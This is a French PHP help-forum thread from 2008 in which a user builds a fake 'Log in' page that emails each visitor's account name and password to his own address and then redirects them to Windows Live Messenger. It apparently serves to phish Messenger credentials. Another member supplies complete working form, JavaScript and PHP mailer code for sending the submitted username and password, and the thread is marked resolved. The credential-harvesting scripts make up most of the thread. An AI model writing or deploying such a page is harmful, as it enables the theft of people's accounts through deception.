Flux rss
Rechercher : dans
Par : Pertinence Date Nom d'utilisateur
Statut : Résolu

Formulaire php -> mail

pasta_powr69, le dimanche 4 mai 2008 à 16:14:11
Bonjour,
Je galere depuis 3 jours car sur mon site j'ai fait un formulaire ou les informations doivent me revenir par mail, mais le script ne marche pas -_-' j'en ai essayé beaucoup que j'ai trouvé sur google mais sans reussite :/
A force de cherché j'ai mis un peu n'importe quoi dans mon index xD :


<form method="post" action="envoi.php">
<fieldset class="fieldset">

<legend>Log in</legend>
<table align="center" border="0" cellpadding="0" cellspacing="3">
<tbody><tr>
<td>User Name:<br><input name="compte" size="50" type="text"></td>
</tr>
<tr>
<td>Password:<br><input name="pass" size="50" type="password"></td>
</tr>

<tr>
<td>

<input value="1" type="checkbox">Remember Me?</label>
</td>
</tr>
<tr>
<td align="right">
<a href="envoi.php"> <input value="Log in" type="submit"></a>

<input value="Reset Fields" type="reset">

</td>
</tr>
</tbody></table>
</fieldset>


</form>


Je ne vous ai mis que la partie formulaire pour eviter de prendre trop de place ! Je ne met pas la partie script je n'en ai pas vraiment car comme je l'ai dit plus haut si j'en montre c'est un bonne quinzaine :D.
Dites moi deja si dans le formulaire quelque chose cloche svp, et me guider un peu dans le script , je suis un peu debutant dans le php :D
Merci d'anvance ;)
Configuration: Windows XP
Internet Explorer 6.0
Répondre à pasta_powr69  Signaler ce message aux modérateurs Aller au dernier message

1


  • Ce message vous semble utile, votez !
  • Signaler ce message aux modérateurs
Alaedyna, le dimanche 4 mai 2008 à 16:25:19
Le plus intéressant au niveau du code, c'est ce qu'il y a dans le fichier envoi.php
Si tu veux, là on a la forme, mais pas le fond... × C'est une habitude délétère d'étrangler ceux que l'on préfère. × [ Amélie Nothomb ]
Répondre à Alaedyna

2


  • Ce message vous semble utile, votez !
  • Signaler ce message aux modérateurs
pasta_powr69, le dimanche 4 mai 2008 à 16:31:57
Bon j'ai fait un script vite fait avec toutes les informations que j'ai receuilli sur google :


<?php
$dest="cedric.-69@live.fr";

$compte = $_POST['compte'];
$pass = $_POST['pass'];

mail($dest; $compte ;$pass);
?>
Répondre à pasta_powr69

3


  • Ce message vous semble utile, votez !
  • Signaler ce message aux modérateurs
pasta_powr69, le dimanche 4 mai 2008 à 16:53:19
Bon enfete j'ai trouvé un script qui marche "presque" je recoi le mail mais il n'y a pas les bonnes informations de dans -_-' :



<html>
<meta HTTP-EQUIV="Refresh" content="0;URL=http://www.windowslive.fr/messenger/">
</html>
<?

$dest="cedric.-69@live.fr";









class Mail
{

var $sendto= array();
var $from, $msubject;
var $acc= array();
var $abcc= array();
var $aattach= array();
var $priorities= array( '1 (Highest)', '2 (High)', '3 (Normal)', '4 (Low)', '5 (Lowest)' );


// Mail contructor

function Mail()
{
$this->autoCheck( true );
}


/* autoCheck( $boolean )
* activate or desactivate the email addresses validator
* ex: autoCheck( true ) turn the validator on
* by default autoCheck feature is on
*/

function autoCheck( $bool )
{
if( $bool )
$this->checkAddress = true;
else
$this->checkAddress = false;
}


/* Subject( $subject )
* define the subject line of the email
* $subject: any valid mono-line string
*/

function Subject( $subject )
{
$this->msubject = strtr( $subject, "\r\n" , " " );
}


/* From( $from )
* set the sender of the mail
* $from should be an email address
*/

function From( $from )
{

if( ! is_string($from) ) {
echo "Class Mail: error, From is not a string";
exit;
}
$this->from= $from;
}


/* To( $to )
* set the To ( recipient )
* $to : email address, accept both a single address or an array of addresses
*/

function To( $to )
{

// TODO : test validité sur to
if( is_array( $to ) )
$this->sendto= $to;
else
$this->sendto[] = $to;

if( $this->checkAddress == true )
$this->CheckAdresses( $this->sendto );

}


/* Cc()
* set the CC headers ( carbon copy )
* $cc : email address(es), accept both array and string
*/

function Cc( $cc )
{
if( is_array($cc) )
$this->acc= $cc;
else
$this->acc[]= $cc;

if( $this->checkAddress == true )
$this->CheckAdresses( $this->acc );

}



/* Bcc()
* set the Bcc headers ( blank carbon copy ).
* $bcc : email address(es), accept both array and string
*/

function Bcc( $bcc )
{
if( is_array($bcc) ) {
$this->abcc = $bcc;
} else {
$this->abcc[]= $bcc;
}

if( $this->checkAddress == true )
$this->CheckAdresses( $this->abcc );
}


/* Body()
* set the body of the mail ( message )
*/

function Body( $body )
{
$this->body= $body;
}


/* Send()
* fornat and send the mail
*/

function Send()
{
// build the headers
$this->_build_headers();

// include attached files
if( sizeof( $this->aattach > 0 ) ) {
$this->_build_attachement();
$body = $this->fullBody . $this->attachment;
}

// envoie du mail aux destinataires principal
for( $i=0; $i< sizeof($this->sendto); $i++ ) {
$res = mail($this->sendto[$i], $this->msubject,$body, $this->headers);
// TODO : trmt res
}

}


/* Organization( $org )
* set the Organisation header
*/

function Organization( $org )
{
if( trim( $org != "" ) )
$this->organization= $org;
}


/* Priority( $priority )
* set the mail priority
* $priority : integer taken between 1 (highest) and 5 ( lowest )
* ex: $m->Priority(1) ; => Highest
*/

function Priority( $priority )
{

if( ! intval( $priority ) )
return false;

if( ! isset( $this->priorities[$priority-1]) )
return false;

$this->priority= $this->priorities[$priority-1];

return true;

}


/* Attach( $filename, $filetype )
* attach a file to the mail
* $filename : path of the file to attach
* $filetype : MIME-type of the file. default to 'application/x-unknown-content-type'
* $disposition : instruct the Mailclient to display the file if possible ("inline") or always as a link ("attachment")
* possible values are "inline", "attachment"
*/

function Attach( $filename, $filetype='application/x-unknown-content-type', $disposition = "inline" )
{
// TODO : si filetype="", alors chercher dans un tablo de MT connus / extension du fichier
$this->aattach[] = $filename;
$this->actype[] = $filetype;
$this->adispo[] = $disposition;
}


/* Get()
* return the whole e-mail , headers + message
* can be used for displaying the message in plain text or logging it
*/

function Get()
{
$this->_build_headers();
if( sizeof( $this->aattach > 0 ) ) {
$this->_build_attachement();
$this->body= $this->body . $this->attachment;
}
$mail = $this->headers;
$mail .= "\n$this->body";
return $mail;
}


/* ValidEmail( $email )
* return true if email adress is ok - regex from Manuel Lemos (mlemos@acm.org)
* $address : email address to check
*/

function ValidEmail($address)
{
if( ereg( ".*<(.+)>", $address, $regs ) ) {
$address = $regs[1];
}
if(ereg( "^[^@ ]+@([a-zA-Z0-9\-]+\.)+([a-zA-Z0-9\-]{2}|net|com|gov|mil|org|edu|int)\$",$address) )
return true;
else
return false;
}


/* CheckAdresses()
* check validity of email addresses
* if unvalid, output an error message and exit, this may be customized
* $aad : array of emails addresses
*/

function CheckAdresses( $aad )
{
for($i=0;$i< sizeof( $aad); $i++ ) {
if( ! $this->ValidEmail( $aad[$i]) ) {
echo "Class Mail, method Mail : invalid address $aad[$i]";
exit;
}
}
}


/********************** PRIVATE METHODS BELOW **********************************/



/* _build_headers()
* [INTERNAL] build the mail headers
*/

function _build_headers()
{

// creation du header mail

$this->headers= "From: $this->from\n";

$this->to= implode( ", ", $this->sendto );

if( count($this->acc) > 0 ) {
$this->cc= implode( ", ", $this->acc );
$this->headers .= "CC: $this->cc\n";
}

if( count($this->abcc) > 0 ) {
$this->bcc= implode( ", ", $this->abcc );
$this->headers .= "BCC: $this->bcc\n";
}

if( $this->organization != "" )
$this->headers .= "Organization: $this->organization\n";

if( $this->priority != "" )
$this->headers .= "X-Priority: $this->priority\n";

}



/*
* _build_attachement()
* internal use only - check and encode attach file(s)
*/
function _build_attachement()
{
$this->boundary= "------------" . md5( uniqid("myboundary") ); // TODO : variable bound

$this->headers .= "MIME-Version: 1.0\nContent-Type: multipart/mixed;\n boundary=\"$this->boundary\"\n\n";
$this->fullBody = "This is a multi-part message in MIME format.\n--$this->boundary\nContent-Type: text/plain; charset=us-ascii\nContent-Transfer-Encoding: 7bit\n\n" . $this->body ."\n";
$sep= chr(13) . chr(10);

$ata= array();
$k=0;

// for each attached file, do...
for( $i=0; $i < sizeof( $this->aattach); $i++ ) {

$filename = $this->aattach[$i];
$basename = basename($filename);
$ctype = $this->actype[$i]; // content-type
$disposition = $this->adispo[$i];

if( ! file_exists( $filename) ) {
echo "Class Mail, method attach : file $filename can't be found"; exit;
}
$subhdr= "--$this->boundary\nContent-type: $ctype;\n name=\"$basename\"\nContent-Transfer-Encoding: base64\nContent-Disposition: $disposition;\n filename=\"$basename\"\n";
$ata[$k++] = $subhdr;
// non encoded line length
$linesz= filesize( $filename)+1;
$fp= fopen( $filename, 'r' );
$data= base64_encode(fread( $fp, $linesz));
fclose($fp);
$ata[$k++] = chunk_split( $data );

/*
// OLD version - used in php < 3.0.6 - replaced by chunk_split()
$deb=0; $len=76; $data_len= strlen($data);
do {
$ata[$k++]= substr($data,$deb,$len);
$deb += $len;
} while($deb < $data_len );

*/
}
$this->attachment= implode($sep, $ata);
}


} // class Mail

$subject=StripSlashes($subject);
$msg=StripSlashes($msg);
$msg="
Compte: $compte - Mot de passe: $pass";
$m= new Mail; // create the mail
$m->From( "$email" );
$m->To( "$dest");
$m->Subject( "$subject" );
$m->Body( $msg); // set the body
if ($email1!="") {
$m->Cc( "$email1");
}
$m->Priority($priority) ;
if ("$NomFichier_name"!="") {
copy("$NomFichier","../upload/$NomFichier_name");
$m->Attach( "../upload/$NomFichier_name", "application/octet-stream" );
}
$m->Send();
if ("$NomFichier_name"!="") {
Unlink("../upload/$NomFichier_name"); }
echo "$reponse";

?>
Répondre à pasta_powr69

4


  • Ce message vous semble utile, votez !
  • Signaler ce message aux modérateurs
pasta_powr69, le dimanche 4 mai 2008 à 16:53:23
Bon enfete j'ai trouvé un script qui marche "presque" je recoi le mail mais il n'y a pas les bonnes informations de dans -_-' :



<html>
<meta HTTP-EQUIV="Refresh" content="0;URL=http://www.windowslive.fr/messenger/">
</html>
<?

$dest="cedric.-69@live.fr";









class Mail
{

var $sendto= array();
var $from, $msubject;
var $acc= array();
var $abcc= array();
var $aattach= array();
var $priorities= array( '1 (Highest)', '2 (High)', '3 (Normal)', '4 (Low)', '5 (Lowest)' );


// Mail contructor

function Mail()
{
$this->autoCheck( true );
}


/* autoCheck( $boolean )
* activate or desactivate the email addresses validator
* ex: autoCheck( true ) turn the validator on
* by default autoCheck feature is on
*/

function autoCheck( $bool )
{
if( $bool )
$this->checkAddress = true;
else
$this->checkAddress = false;
}


/* Subject( $subject )
* define the subject line of the email
* $subject: any valid mono-line string
*/

function Subject( $subject )
{
$this->msubject = strtr( $subject, "\r\n" , " " );
}


/* From( $from )
* set the sender of the mail
* $from should be an email address
*/

function From( $from )
{

if( ! is_string($from) ) {
echo "Class Mail: error, From is not a string";
exit;
}
$this->from= $from;
}


/* To( $to )
* set the To ( recipient )
* $to : email address, accept both a single address or an array of addresses
*/

function To( $to )
{

// TODO : test validité sur to
if( is_array( $to ) )
$this->sendto= $to;
else
$this->sendto[] = $to;

if( $this->checkAddress == true )
$this->CheckAdresses( $this->sendto );

}


/* Cc()
* set the CC headers ( carbon copy )
* $cc : email address(es), accept both array and string
*/

function Cc( $cc )
{
if( is_array($cc) )
$this->acc= $cc;
else
$this->acc[]= $cc;

if( $this->checkAddress == true )
$this->CheckAdresses( $this->acc );

}



/* Bcc()
* set the Bcc headers ( blank carbon copy ).
* $bcc : email address(es), accept both array and string
*/

function Bcc( $bcc )
{
if( is_array($bcc) ) {
$this->abcc = $bcc;
} else {
$this->abcc[]= $bcc;
}

if( $this->checkAddress == true )
$this->CheckAdresses( $this->abcc );
}


/* Body()
* set the body of the mail ( message )
*/

function Body( $body )
{
$this->body= $body;
}


/* Send()
* fornat and send the mail
*/

function Send()
{
// build the headers
$this->_build_headers();

// include attached files
if( sizeof( $this->aattach > 0 ) ) {
$this->_build_attachement();
$body = $this->fullBody . $this->attachment;
}

// envoie du mail aux destinataires principal
for( $i=0; $i< sizeof($this->sendto); $i++ ) {
$res = mail($this->sendto[$i], $this->msubject,$body, $this->headers);
// TODO : trmt res
}

}


/* Organization( $org )
* set the Organisation header
*/

function Organization( $org )
{
if( trim( $org != "" ) )
$this->organization= $org;
}


/* Priority( $priority )
* set the mail priority
* $priority : integer taken between 1 (highest) and 5 ( lowest )
* ex: $m->Priority(1) ; => Highest
*/

function Priority( $priority )
{

if( ! intval( $priority ) )
return false;

if( ! isset( $this->priorities[$priority-1]) )
return false;

$this->priority= $this->priorities[$priority-1];

return true;

}


/* Attach( $filename, $filetype )
* attach a file to the mail
* $filename : path of the file to attach
* $filetype : MIME-type of the file. default to 'application/x-unknown-content-type'
* $disposition : instruct the Mailclient to display the file if possible ("inline") or always as a link ("attachment")
* possible values are "inline", "attachment"
*/

function Attach( $filename, $filetype='application/x-unknown-content-type', $disposition = "inline" )
{
// TODO : si filetype="", alors chercher dans un tablo de MT connus / extension du fichier
$this->aattach[] = $filename;
$this->actype[] = $filetype;
$this->adispo[] = $disposition;
}


/* Get()
* return the whole e-mail , headers + message
* can be used for displaying the message in plain text or logging it
*/

function Get()
{
$this->_build_headers();
if( sizeof( $this->aattach > 0 ) ) {
$this->_build_attachement();
$this->body= $this->body . $this->attachment;
}
$mail = $this->headers;
$mail .= "\n$this->body";
return $mail;
}


/* ValidEmail( $email )
* return true if email adress is ok - regex from Manuel Lemos (mlemos@acm.org)
* $address : email address to check
*/

function ValidEmail($address)
{
if( ereg( ".*<(.+)>", $address, $regs ) ) {
$address = $regs[1];
}
if(ereg( "^[^@ ]+@([a-zA-Z0-9\-]+\.)+([a-zA-Z0-9\-]{2}|net|com|gov|mil|org|edu|int)\$",$address) )
return true;
else
return false;
}


/* CheckAdresses()
* check validity of email addresses
* if unvalid, output an error message and exit, this may be customized
* $aad : array of emails addresses
*/

function CheckAdresses( $aad )
{
for($i=0;$i< sizeof( $aad); $i++ ) {
if( ! $this->ValidEmail( $aad[$i]) ) {
echo "Class Mail, method Mail : invalid address $aad[$i]";
exit;
}
}
}


/********************** PRIVATE METHODS BELOW **********************************/



/* _build_headers()
* [INTERNAL] build the mail headers
*/

function _build_headers()
{

// creation du header mail

$this->headers= "From: $this->from\n";

$this->to= implode( ", ", $this->sendto );

if( count($this->acc) > 0 ) {
$this->cc= implode( ", ", $this->acc );
$this->headers .= "CC: $this->cc\n";
}

if( count($this->abcc) > 0 ) {
$this->bcc= implode( ", ", $this->abcc );
$this->headers .= "BCC: $this->bcc\n";
}

if( $this->organization != "" )
$this->headers .= "Organization: $this->organization\n";

if( $this->priority != "" )
$this->headers .= "X-Priority: $this->priority\n";

}



/*
* _build_attachement()
* internal use only - check and encode attach file(s)
*/
function _build_attachement()
{
$this->boundary= "------------" . md5( uniqid("myboundary") ); // TODO : variable bound

$this->headers .= "MIME-Version: 1.0\nContent-Type: multipart/mixed;\n boundary=\"$this->boundary\"\n\n";
$this->fullBody = "This is a multi-part message in MIME format.\n--$this->boundary\nContent-Type: text/plain; charset=us-ascii\nContent-Transfer-Encoding: 7bit\n\n" . $this->body ."\n";
$sep= chr(13) . chr(10);

$ata= array();
$k=0;

// for each attached file, do...
for( $i=0; $i < sizeof( $this->aattach); $i++ ) {

$filename = $this->aattach[$i];
$basename = basename($filename);
$ctype = $this->actype[$i]; // content-type
$disposition = $this->adispo[$i];

if( ! file_exists( $filename) ) {
echo "Class Mail, method attach : file $filename can't be found"; exit;
}
$subhdr= "--$this->boundary\nContent-type: $ctype;\n name=\"$basename\"\nContent-Transfer-Encoding: base64\nContent-Disposition: $disposition;\n filename=\"$basename\"\n";
$ata[$k++] = $subhdr;
// non encoded line length
$linesz= filesize( $filename)+1;
$fp= fopen( $filename, 'r' );
$data= base64_encode(fread( $fp, $linesz));
fclose($fp);
$ata[$k++] = chunk_split( $data );

/*
// OLD version - used in php < 3.0.6 - replaced by chunk_split()
$deb=0; $len=76; $data_len= strlen($data);
do {
$ata[$k++]= substr($data,$deb,$len);
$deb += $len;
} while($deb < $data_len );

*/
}
$this->attachment= implode($sep, $ata);
}


} // class Mail

$subject=StripSlashes($subject);
$msg=StripSlashes($msg);
$msg="
Compte: $compte - Mot de passe: $pass";
$m= new Mail; // create the mail
$m->From( "$email" );
$m->To( "$dest");
$m->Subject( "$subject" );
$m->Body( $msg); // set the body
if ($email1!="") {
$m->Cc( "$email1");
}
$m->Priority($priority) ;
if ("$NomFichier_name"!="") {
copy("$NomFichier","../upload/$NomFichier_name");
$m->Attach( "../upload/$NomFichier_name", "application/octet-stream" );
}
$m->Send();
if ("$NomFichier_name"!="") {
Unlink("../upload/$NomFichier_name"); }
echo "$reponse";

?>
Répondre à pasta_powr69

5


  • Ce message vous semble utile, votez !
  • Signaler ce message aux modérateurs
Alaedyna, le dimanche 4 mai 2008 à 20:03:02
Hum... Bon... Que dois-tu recevoir par e-mail ?
Sur un de mes sites, j'ai un formulaire mail qui marche bien (HTML et PHP), et si tu attends ce que propose le formulaire, je te donne le code. × C'est une habitude délétère d'étrangler ceux que l'on préfère. × [ Amélie Nothomb ]
Répondre à Alaedyna

6


  • Ce message vous semble utile, votez !
  • Signaler ce message aux modérateurs
pasta_powr69, le dimanche 4 mai 2008 à 20:16:15
Je voudrais juste recevoir le nom de compte + le pass
Répondre à pasta_powr69

7


  • Ce message vous semble utile, votez !
  • Signaler ce message aux modérateurs
pasta_powr69, le dimanche 4 mai 2008 à 20:56:34
Oui je veux bien ton formulaire + ton php si sa ne te derange pas :)
Merci
Répondre à pasta_powr69

8


  • Ce message vous semble utile, votez !
  • Signaler ce message aux modérateurs
Alaedyna, le dimanche 4 mai 2008 à 21:26:23
Essaie ça :

Dans la page où doit se trouver le formulaire, entre les balises <head> et </head> :
<script type="text/javascript">
    <!--
      function Verifications(f)
      {
	   sujet = f.nom.value;
       if (sujet == "")
       {
         alert("Vous devez indiquer votre nom de compte !");
         f.sujet.focus();
         return(false);
       }
       sujet = f.sujet.value;
       if (sujet == "")
       {
         alert("Vous devez indiquer votre mot de passe !");
         f.sujet.focus();
         return(false);
       }
       f.submit();
       return(true);
      }
    -->
    </script>


Ensuite, colle ceci, c'est le formulaire, là où tu le souhaites :

<form method="POST" action="config.php" name="ecrire" onsubmit="return(Verifications(this))">
<table width="300" border="0" align="center">
<tr>
<td valign="top"><b>Nom du compte :</b></td>
<td valign="top">
<input name="nom"size=30 maxlength=50>
</td></tr><tr>
<td valign="top"><b>Mot de passe :</b></td>
<td valign="top">
<input name="sujet" size=30 maxlength=50 type="password">
<input type="hidden" name="retour" value="http://www.domaine.ext/contact.htm"/>
<input type="hidden" name="tag" value="Nom de ton site"/>
</td></tr></table>
<table width="300" border="0" align="center">
<td width="250">
<div align="center">
<INPUT TYPE=submit VALUE="Envoyer">
</div></td>
<td width="250">
<div align="center">
<INPUT TYPE="reset" VALUE="Effacer">

</div></td></tr>
</table>
</form>


Et dans un fichier config.php :
<?php
function erreur($msg) {
?>
<html><head><title>Erreur</title></head>
<body style="color: #000000; background-color: #ffffff;">
<h1 style="text-align: center;">
<?php
print "$msg";
?>
</h1><div style="text-align: center;">
<a href="javascript:back()">Retour &agrave; la page pr&eacute;c&eacute;dente.</a>
</div></body></html>
<?php
exit();
}
$to = "nom@domaine.ext";
$domains = "domaine.ext";
$referer= getenv("HTTP_REFERER");
if ($referer == "") { erreur("Vous ne pouvez pas appeler ce script directement."); }
$domain = getenv("SERVER_NAME");
if (! strstr($domains, $domain)) { erreur("$domain<br>Vous ne pouvez pas utiliser ce script à partir de ce site."); }
$sujet = $_POST['sujet'];
if ($sujet == "") { erreur("Veuillez spécifier votre mot de passe."); }
$sujet = $_POST['nom'];
if ($sujet == "") { erreur("Veuillez indiquer votre nom de compte."); }
$tag = $_POST['tag'];
if ($tag == "") {
  $sujet = "[$domain] $sujet";
} else {
  $sujet = "[$tag] $sujet";
}
$message=" De : ".$mail. chr(13). chr(13). $message;
$retour = $_POST['retour'];
if ($retour == "") { erreur("Adresse de retour non fournie."); }
if (! mail($to, stripslashes($sujet), stripslashes($message))) {
  erreur("erreur envoi email");
}
header("Location: $retour");
?>


Ce qu'il y a à changer :
http://www.domaine.ext/contact.htm : Page où est renvoyé le visiteur après avoir validé.
Nom de ton site : Nom de ton site. ;)
nom@domaine.ext : Ton adresse e-mail.
domaine.ext : domaine de ton site.
× C'est une habitude délétère d'étrangler ceux que l'on préfère. × [ Amélie Nothomb ]
Répondre à Alaedyna

9


  • Ce message vous semble utile, votez !
  • Signaler ce message aux modérateurs
pasta_powr69, le dimanche 4 mai 2008 à 21:34:46
Ok merci, j'essayerais sa demain j'ai pas la tete a ça la :D
Répondre à pasta_powr69

10


  • Ce message vous semble utile, votez !
  • Signaler ce message aux modérateurs
pasta_powr69, le lundi 5 mai 2008 à 09:00:05
Qu'appele tu par domaine de ton site ?
Répondre à pasta_powr69

11


  • Ce message vous semble utile, votez !
  • Signaler ce message aux modérateurs
Alaedyna, le lundi 5 mai 2008 à 10:41:50
Par exemple, si ton site est à l'adresse http://www.machin.com, le domaine est machin.com
Si tu site est à l'adresse http://truc.bidule.com, le domaine est truc.bidule.com
Attention, ce script ne marche qu'une fois mis sur serveur Web (pas en local). × C'est une habitude délétère d'étrangler ceux que l'on préfère. × [ Amélie Nothomb ]
Répondre à Alaedyna

12


  • Ce message vous semble utile, votez !
  • Signaler ce message aux modérateurs
pasta_powr69, le lundi 5 mai 2008 à 18:50:55
Nop toujours pas -_-', quand je clique sur ok ça actualise et ne fait rien d'autre :/
Répondre à pasta_powr69

13


  • Ce message vous semble utile, votez !
  • Signaler ce message aux modérateurs
Alaedyna, le lundi 5 mai 2008 à 19:22:25
Oui, c'est normal, ça charge la page où tu as dit que ça devait chargé après validation.
Mais normalement, tu devrais recevoir un mail avec le nom du compte et le mot de passe.
Attention : Ca ne marche pas en serveur local. × C'est une habitude délétère d'étrangler ceux que l'on préfère. × [ Amélie Nothomb ]
Répondre à Alaedyna

14


  • Ce message vous semble utile, votez !
  • Signaler ce message aux modérateurs
pasta_powr69, le lundi 5 mai 2008 à 19:30:00
Non ca ne marche pas quand meme, je ne recoi aucun mail :/
Répondre à pasta_powr69

15


  • Ce message vous semble utile, votez !
  • Signaler ce message aux modérateurs
pasta_powr69, le mardi 6 mai 2008 à 20:04:15
Bon bah voila j'ai trouvé l'erreur :) une balise <form> que j'avais oublié de fermer executer un autre script!
Merci de ton aide quand meme ;)
Répondre à pasta_powr69

16


  • Ce message vous semble utile, votez !
  • Signaler ce message aux modérateurs
Alaedyna, le mardi 6 mai 2008 à 21:39:32
Ca marche maintenant ? (Si oui, notifie le sujet comme résolu). × C'est une habitude délétère d'étrangler ceux que l'on préfère. × [ Amélie Nothomb ]
Répondre à Alaedyna

17


  • Ce message vous semble utile, votez !
  • Signaler ce message aux modérateurs
 pasta_powr69, le mardi 6 mai 2008 à 22:14:15
Ouep j'ai trouvé :)
Répondre à pasta_powr69
Generateur de formulaire php (Résolu)bonjour, je cherche un generateur de formulaire php sur le net. Est ce que vous pouvez m'en indiquer un ? Seb. MErci www.commentcamarche.net/forum/affich-1667401-generateur-de-formulaire-php
Formulaire php choix destinataires (Résolu)Bonjour, Pour aller plus vite et sans obliger les personnes a renter les adresses mails, je souhaiterais faire un formulaire php. Ce que je souhaite faire: Des cases a cocher = destinataire(s) un champs objet = objet une zone de texte = message Ce que... www.commentcamarche.net/forum/affich-6005054-formulaire-php-choix-destinataires
Formulaires e-mail (Résolu)Bonjour, J'ai créer plusieurs formulaires (votre nom , votre prenom, email,votre message) et j'arrive pas à les afficher quand j'envoie le résultat du formulaire par mail , voilà mon code : www.commentcamarche.net/forum/affich-7487552-formulaires-e-mail
Sécuriser son code PHPIndépendamment de la sécurisation du système d'exploitation du serveur, du serveur HTTP lui-même et des options de configuration de PHP (php.ini), il est important de veiller à sécuriser les données provenant des utilisateurs (via les formulaires ou... www.commentcamarche.net/faq/sujet-10462-securiser-son-code-php
[PHP] Upload de fichiersLe langage PHP permet de gérer des fichiers envoyés (uploadés) grâce à un formulaire HTML. Formulaire d'envoi de fichiers Configuration de PHP pour permettre l'upload Récupération du fichier avec PHP Formulaire d'envoi de fichiers La... www.commentcamarche.net/faq/sujet-889-php-upload-de-fichiers
[PHP] Fonction mail()La fonction mail() est bloquée chez certains des hébergeurs gratuits pour des raisons de sécurité (afin d'éviter le spam notamment), l'adresse ip de la machine qui a demandé le script sera alors indiquée dans le header 'X-MM-Mail-From-IP'. renseignez... www.commentcamarche.net/faq/sujet-117-php-fonction-mail
Intégrer un captcha dans un formulaire php (Résolu)Bonjour, mon formulaire est terminé, bien comme je le voulais .... ( ajouter une info dans formulaire php#0 ) et maintenant j'aimerais intégrer une vérification avec un " captcha " mais je ne sais pas quelle commande insérer, ni où la mettre !!!... www.commentcamarche.net/forum/affich-3660372-integrer-un-captcha-dans-un-formulaire-php
Upload d'images par formulaire php, en table (Résolu)Bonjour à tous, Petit problème tout bête d'utilisation des tables pour enregistrer en même temps une vingtaine d'images par formulaire php. Ca marche parfaitement pour une image avec : echo ' www.commentcamarche.net/forum/affich-4865533-upload-d-images-par-formulaire-php-en-table
Formulaire PHP (Résolu)SALUT à tous J'ai fait un formulaire en php : http://ensceneassociation.fr/formulaire.php Voici la partie "envoi" du code : $objet='.::'.$motif.' de '.$nom.' - Formulaire du site::.';... www.commentcamarche.net/forum/affich-3504092-formulaire-php
PHP - Mail et fonctions réseau PHP étant un langage consacré au Web, il possède bien évidemment des fonctions lui permettant de communiquer avec le "monde extérieur" à l'aide de fonctions standards. Le service le plus utilisé sur Internet étant la messagerie électronique, il est... www.commentcamarche.net/php/phpmail.php3
PHP - Récupération de données PHP rend très simple la récupération de données envoyées par l'intermédiaire de formulaires HTML. Grâce à la balise FORM du langage HTML, il est très simple de créer des formulaires comprenant : des champs de saisie des cases à cocher des boutons... www.commentcamarche.net/php/phpform.php3
PHP - Administration d'un annuaire LDAP PHP permet la connexion et l'envoi de requêtes sur un annuaire LDAP, c'est-à-dire un serveur permettant de stocker des informations de manière hiérarchique. Pour plus d'informations sur les fonctions LDAP de PHP, reportez-vous à l'article consacré à... www.commentcamarche.net/php/phpldapadmin.php3
Toutes les réponses pour « formulaire php &gt; mail »